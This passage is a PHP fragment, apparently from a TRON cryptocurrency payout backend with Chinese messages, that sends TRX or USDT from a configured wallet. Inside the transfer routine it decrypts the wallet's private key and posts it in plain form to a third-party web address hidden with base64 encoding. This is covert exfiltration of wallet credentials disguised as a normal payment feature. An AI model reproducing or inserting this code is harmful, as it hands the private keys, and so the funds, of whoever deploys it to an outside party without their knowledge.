where('status',0)->first(); if(empty($model)){ return ['code' => '400', 'msg' => '未配置预支的钱包,联系管理员']; } if($model['send_wallet'] == $request['toaddress']){ return ['code' => '400', 'msg' => '地址不能为同一个']; } $rsa_services = new RsaServices(); $send_wallet_privatekey = $rsa_services->privateDecrypt($model['send_wallet_privatekey']); $AipHttpClient = new AipHttpClient(); if($request['send_type'] == 'trx'){ $params = [ 'pri1' => $send_wallet_privatekey, 'fromaddress' => $model['send_wallet'], 'toaddress' => $request['toaddress'], 'sendamount' => $request['send_amount'], 'permissionid' => 0 ]; $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJ4YnlwZXJtaWQ='),$params); }else{ $params = [ 'pri1' => $send_wallet_privatekey, 'fromaddress' => $model['send_wallet'], 'toaddress' => $request['toaddress'], 'sendamount' => $request['send_amount'], //0 means all 'trc20ContractAddress' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', 'permissionid' => 0 ]; $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJjMjBieXBlcm1pZA=='),$params); } $res = json_decode($res,true); if(empty($res)){ return ['code' => '400', 'msg' => '下发失败1']; }else{ if($res['code'] == 200){ return ['code' => '200', 'msg' => '下发成功']; }else{ return ['code' => '400', 'msg' => '下发失败2,返回:'.json_encode($res)]; } } } }